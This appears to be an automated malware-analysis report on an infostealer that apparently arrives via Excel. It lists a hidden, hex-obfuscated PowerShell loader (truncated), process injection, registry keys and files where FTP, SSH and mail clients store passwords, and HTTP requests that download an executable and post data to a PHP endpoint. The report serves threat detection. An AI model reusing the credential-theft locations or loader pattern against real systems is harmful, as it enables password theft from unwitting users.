Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function c71f35 {param($pba424f)$a61f8fd='c9be361';$k52ae='';for ($i=0; $i -lt $pba424f.length;$i+=2){$e69bbd=[convert]::ToByte($pba424f.Substring($i,2),16);$k52ae+=[char]...
Injects code into
the following user processes:
- cd4e4e.exe
Searches for registry branches where third party applications store passwords
- [<HKCU>\Software\LinasFTP\Site Manager]
- [<HKCU>\Software\FlashPeak\BlazeFtp\Settings]
- [<HKCU>\Software\Ghisler\Total Commander]
- [<HKCU>\Software\Far\Plugins\FTP\Hosts]
- [<HKCU>\Software\Far2\Plugins\FTP\Hosts]
- [<HKCU>\Software\VanDyke\SecureFX]
- [<HKLM>\Software\Wow6432Node\NCH Software\Fling\Accounts]
- [<HKCU>\Software\NCH Software\Fling\Accounts]
- [<HKLM>\Software\Wow6432Node\NCH Software\ClassicFTP\FTPAccounts]
- [<HKCU>\Software\NCH Software\ClassicFTP\FTPAccounts]
- [<HKCU>\Software\SimonTatham\PuTTY\Sessions]
- [<HKLM>\Software\Wow6432Node\SimonTatham\PuTTY\Sessions]
- [<HKCU>\Software\Martin Prikryl]
- [<HKLM>\Software\Wow6432Node\Martin Prikryl]
- [<HKCU>\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook]
Reads files which store third party applications passwords
- %APPDATA%\opera software\opera stable\login data
- %APPDATA%\thunderbird\profiles.ini
Modifies file system
Creates the following files
- %TEMP%\veuep-s1.0.cs
- %TEMP%\csc6ac2.tmp
- %TEMP%\res6ae2.tmp
- %TEMP%\ug4ndl-6.dll
- %APPDATA%\cd4e4e.exe
- %TEMP%\lejon4m0.0.cs
- %TEMP%\lejon4m0.cmdline
- %TEMP%\lejon4m0.out
- %TEMP%\csc87c0.tmp
- %TEMP%\res87d0.tmp
- %TEMP%\lejon4m0.dll
- %TEMP%\gwhaewvb.cmdline
- %APPDATA%\e6f983\35a09b.hdb
- %TEMP%\gwhaewvb.out
- %TEMP%\cscfe19.tmp
- %TEMP%\resfe29.tmp
- %TEMP%\gwhaewvb.dll
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{2969e7f7-e35e-4639-939d-4c5f2432bf68}.tmp
- %APPDATA%\microsoft\windows\cookies\user@google[1].txt
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
- %LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
- %TEMP%\ug4ndl-6.out
- %TEMP%\gwhaewvb.0.cs
- %TEMP%\ug4ndl-6.cmdline
- %TEMP%\csc2b57.tmp
- %TEMP%\veuep-s1.cmdline
- %TEMP%\veuep-s1.out
- %TEMP%\4gajntbx.0.cs
- %TEMP%\4gajntbx.cmdline
- %TEMP%\4gajntbx.out
- %TEMP%\2zbk3xik.0.cs
- %TEMP%\2zbk3xik.cmdline
- %TEMP%\2zbk3xik.out
- %TEMP%\csc2a00.tmp
- %TEMP%\csc2a8c.tmp
- %TEMP%\res2a10.tmp
- %TEMP%\i0fuxmdj.dll
- %TEMP%\4gajntbx.dll
- %TEMP%\res2a9d.tmp
- %TEMP%\res2b68.tmp
- %TEMP%\veuep-s1.dll
- %TEMP%\2zbk3xik.dll
- %TEMP%\i0fuxmdj.0.cs
- %TEMP%\i0fuxmdj.cmdline
- %TEMP%\i0fuxmdj.out
- %TEMP%\csc449c.tmp
- %TEMP%\res44ad.tmp
- %TEMP%\ug4ndl-6.0.cs
- %APPDATA%\e6f983\35a09b.lck
Sets the 'hidden' attribute to the following files
- %APPDATA%\e6f983\35a09b.exe
Deletes the following files
- %TEMP%\res2a10.tmp
- %TEMP%\res6ae2.tmp
- %TEMP%\csc6ac2.tmp
- %TEMP%\ug4ndl-6.0.cs
- %TEMP%\ug4ndl-6.cmdline
- %TEMP%\ug4ndl-6.dll
- %TEMP%\ug4ndl-6.out
- %TEMP%\ug4ndl-6.pdb
- %TEMP%\res87d0.tmp
- %TEMP%\csc87c0.tmp
- %TEMP%\4gajntbx.0.cs
- %TEMP%\lejon4m0.dll
- %TEMP%\lejon4m0.pdb
- %TEMP%\lejon4m0.0.cs
- %TEMP%\lejon4m0.out
- %TEMP%\resfe29.tmp
- %TEMP%\cscfe19.tmp
- %TEMP%\gwhaewvb.cmdline
- %TEMP%\gwhaewvb.out
- %TEMP%\gwhaewvb.pdb
- %TEMP%\gwhaewvb.dll
- %TEMP%\i0fuxmdj.out
- %TEMP%\i0fuxmdj.pdb
- %TEMP%\i0fuxmdj.dll
- %TEMP%\i0fuxmdj.cmdline
- %TEMP%\i0fuxmdj.0.cs
- %TEMP%\res2a9d.tmp
- %TEMP%\csc2a8c.tmp
- %TEMP%\res2b68.tmp
- %TEMP%\csc2b57.tmp
- %TEMP%\veuep-s1.pdb
- %TEMP%\veuep-s1.0.cs
- %TEMP%\veuep-s1.out
- %TEMP%\veuep-s1.cmdline
- %TEMP%\veuep-s1.dll
- %TEMP%\gwhaewvb.0.cs
- %TEMP%\lejon4m0.cmdline
- %TEMP%\4gajntbx.cmdline
- %TEMP%\4gajntbx.dll
- %TEMP%\4gajntbx.out
- %TEMP%\2zbk3xik.cmdline
- %TEMP%\2zbk3xik.pdb
- %TEMP%\2zbk3xik.0.cs
- %TEMP%\2zbk3xik.dll
- %TEMP%\2zbk3xik.out
- %TEMP%\res44ad.tmp
- %TEMP%\csc449c.tmp
- %TEMP%\csc2a00.tmp
- %TEMP%\4gajntbx.pdb
- %APPDATA%\e6f983\35a09b.lck
Moves the following files
- from %APPDATA%\cd4e4e.exe to %APPDATA%\e6f983\35a09b.exe
Substitutes the following files
- %APPDATA%\Microsoft\Crypto\RSA\S-1-5-21-1960123792-2022915161-3775307078-1001\f58155b4b1d5a524ca0261c3ee99fb50_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
Network activity
TCP
HTTP GET requests
- http://23.###.165.205:4560/vpadmin/egbon.exe via 23.##9.165.205
- http://oc##.#tartssl.com/sub/class2/code/ca/MEMwQTA%2FMD0wOzAJBgUrDgMCGgUABBQSOgrhRCSnWfKxoWTjWxhk8hga9AQU0E4PQJlsuEsZbzsouODjiAc0qrcCAhAV
HTTP POST requests
- http://19#.#2.125.130/~axsonipc/.gereoutoftr567yh/vz.php
UDP
- DNS ASK do#########ocs.googleusercontent.com
- DNS ASK oc##.#tartssl.com
Miscellaneous
Creates and executes the following
- '%APPDATA%\cd4e4e.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function c71f35 {param($pba424f)$a61f8fd='c9be361';$k52ae='';for ($i=0; $i -lt $pba424f.length;$i+=2){$e69bbd=[convert]::ToByte($pba424f.Substring($i,2),16);$k52ae+=[char]...' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\veuep-s1.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\4gajntbx.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\2zbk3xik.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES2A10.tmp" "%TEMP%\CSC2A00.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES2A9D.tmp" "%TEMP%\CSC2A8C.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES2B68.tmp" "%TEMP%\CSC2B57.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\i0fuxmdj.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES44AD.tmp" "%TEMP%\CSC449C.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ug4ndl-6.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES6AE2.tmp" "%TEMP%\CSC6AC2.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\lejon4m0.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES87D0.tmp" "%TEMP%\CSC87C0.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\gwhaewvb.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESFE29.tmp" "%TEMP%\CSCFE19.tmp"' (with hidden window)
Executes the following
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\veuep-s1.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\4gajntbx.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\2zbk3xik.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES2A10.tmp" "%TEMP%\CSC2A00.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES2A9D.tmp" "%TEMP%\CSC2A8C.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES2B68.tmp" "%TEMP%\CSC2B57.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\i0fuxmdj.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES44AD.tmp" "%TEMP%\CSC449C.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ug4ndl-6.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES6AE2.tmp" "%TEMP%\CSC6AC2.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\lejon4m0.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES87D0.tmp" "%TEMP%\CSC87C0.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\gwhaewvb.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESFE29.tmp" "%TEMP%\CSCFE19.tmp"
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
